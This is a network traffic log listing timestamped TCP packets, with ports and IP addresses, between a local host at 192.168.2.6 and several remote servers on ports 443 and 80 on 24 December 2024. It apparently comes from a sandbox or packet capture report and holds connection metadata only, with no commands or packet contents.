Dec 24, 2024 14:02:09.221309900 CET	443	49712	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:09.252798080 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.252815008 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:09.252875090 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.253552914 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.253563881 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:09.262161970 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.262211084 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:09.262270927 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.262540102 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:09.262553930 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.105673075 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:11.105767012 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:11.118205070 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.120579958 CET	443	49712	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.120909929 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.120945930 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.122601986 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.122617006 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.122627020 CET	443	49712	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.122639894 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.122677088 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.122706890 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.124083042 CET	443	49712	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.124145031 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.124913931 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.125014067 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.125034094 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.125041008 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.125133038 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.125152111 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.126580954 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.126588106 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.126599073 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.126652956 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.126686096 CET	443	49712	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.126713991 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.126844883 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.126864910 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.127796888 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.127949953 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.127979040 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.128060102 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.128096104 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.128102064 CET	443	49712	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.128278017 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.128285885 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.128359079 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.128365993 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.173252106 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.173254013 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.173261881 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.173599958 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.660510063 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.660583973 CET	443	49712	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.660662889 CET	49712	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.954561949 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.954756021 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.954822063 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.956439972 CET	49713	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.956464052 CET	443	49713	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.964186907 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.964328051 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.964380026 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.964391947 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.965550900 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.965934992 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.966000080 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.966702938 CET	49717	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.966710091 CET	443	49717	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.972265959 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.972351074 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.972358942 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.979737997 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.979815960 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.979823112 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.988172054 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.988250017 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.988256931 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.999052048 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:11.999109030 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:11.999119043 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.051136017 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.083435059 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.126282930 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.151580095 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.161304951 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.161374092 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.161397934 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.170078039 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.170123100 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.170130968 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.179081917 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.179127932 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.179137945 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.189438105 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.189492941 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.189498901 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.202837944 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.202884912 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.202893019 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.215823889 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.215867996 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.215876102 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.228857040 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.228904963 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.228914976 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.241992950 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.242032051 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.242039919 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.251929998 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.251976013 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.251983881 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.270983934 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.271032095 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.271039009 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.278188944 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.278239965 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.278248072 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.329399109 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.329411983 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.348207951 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.348256111 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.348272085 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.350970984 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.351017952 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.351027012 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.359916925 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.359976053 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.359985113 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.363627911 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.363671064 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.363678932 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.370882034 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.370923042 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.370929003 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.382766962 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.382813931 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.382826090 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.382838011 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.382867098 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.394324064 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.405925035 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.405973911 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.405982018 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.417500973 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.417557001 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.417565107 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.429105043 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.429153919 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.429162025 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.440773964 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.440818071 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.440828085 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.451422930 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.451472044 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.451482058 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.461846113 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.461906910 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.461915016 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.471765041 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.471832991 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.471842051 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.481930017 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.482002020 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.482012033 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.491199017 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.491251945 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.491261005 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.500272036 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.500328064 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.500339985 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.501739979 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.501808882 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.501816988 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.510337114 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.510380030 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.510391951 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.519005060 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.519079924 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.519088030 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.527407885 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.527452946 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.527460098 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.535813093 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.535859108 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.535873890 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.544158936 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.544203997 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.544212103 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.552494049 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.552539110 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.552546024 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.561732054 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.561778069 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.561784029 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.564897060 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.564937115 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.564944029 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.568315983 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.568365097 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.568375111 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.574863911 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.574911118 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.574918032 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.577941895 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.577989101 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.577996969 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.582607031 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.582649946 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.582655907 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.587855101 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.587909937 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.587924004 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.593044043 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:12.593096018 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.593256950 CET	49718	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:12.593282938 CET	443	49718	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:13.175209045 CET	49736	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:13.175221920 CET	443	49736	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:13.175290108 CET	49736	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:13.176007032 CET	49736	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:13.176017046 CET	443	49736	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:14.071856976 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:14.071894884 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:14.071969986 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:14.072608948 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:14.072623968 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:14.707819939 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:14.708314896 CET	49748	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:14.827457905 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:14.827833891 CET	80	49748	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:14.827914000 CET	49748	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:14.828195095 CET	49748	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:14.892904043 CET	443	49736	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:14.893325090 CET	49736	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:14.893377066 CET	443	49736	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:14.893847942 CET	443	49736	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:14.894300938 CET	49736	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:14.894381046 CET	443	49736	142.250.181.68	192.168.2.6
Dec 24, 2024 14:02:14.939244032 CET	49736	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:14.947789907 CET	80	49748	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:16.305253029 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:16.305321932 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:16.307007074 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:16.307017088 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:16.307811022 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:16.309747934 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:16.309807062 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:16.309813976 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:16.309950113 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:16.346497059 CET	80	49748	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:16.346584082 CET	49748	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:16.351337910 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:16.414625883 CET	49736	443	192.168.2.6	142.250.181.68
Dec 24, 2024 14:02:16.442835093 CET	49748	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:16.562390089 CET	80	49748	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:16.976149082 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:16.976638079 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:16.976843119 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:16.976843119 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:16.976891994 CET	443	49742	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:16.976907015 CET	49742	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:17.113708019 CET	80	49748	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:17.114175081 CET	49748	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:22.118566036 CET	80	49748	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:22.118634939 CET	49748	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:25.883785963 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:25.883862019 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:25.883959055 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:25.884541035 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:25.884573936 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.124941111 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.125016928 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:28.140021086 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:28.140057087 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.140850067 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.187839985 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:28.187902927 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:28.187911034 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.188210964 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:28.231378078 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.853102922 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.853419065 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.853497028 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:28.853638887 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:28.853657007 CET	443	49780	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:28.853671074 CET	49780	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:29.218436003 CET	49748	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:29.218724966 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:29.338407993 CET	80	49748	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:29.338524103 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:29.338608980 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:29.338788033 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:29.458482027 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:30.714119911 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:30.715985060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.542896986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.662532091 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933259964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933324099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933361053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933418036 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933482885 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.933482885 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.933482885 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.933509111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933545113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933556080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.933556080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.933581114 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933600903 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.933615923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933635950 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.933665037 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.933728933 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.933793068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.941824913 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.941910982 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:31.941947937 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:31.942003965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.053461075 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.053478003 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.053750992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.125319004 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.125410080 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.125408888 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.125638008 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.129260063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.129405022 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.129471064 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.137414932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.137468100 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.137537003 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.137589931 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.145592928 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.145665884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.145720005 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.153949022 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.154000044 CET	49787	80	192.168.2.6	185.231.69.191
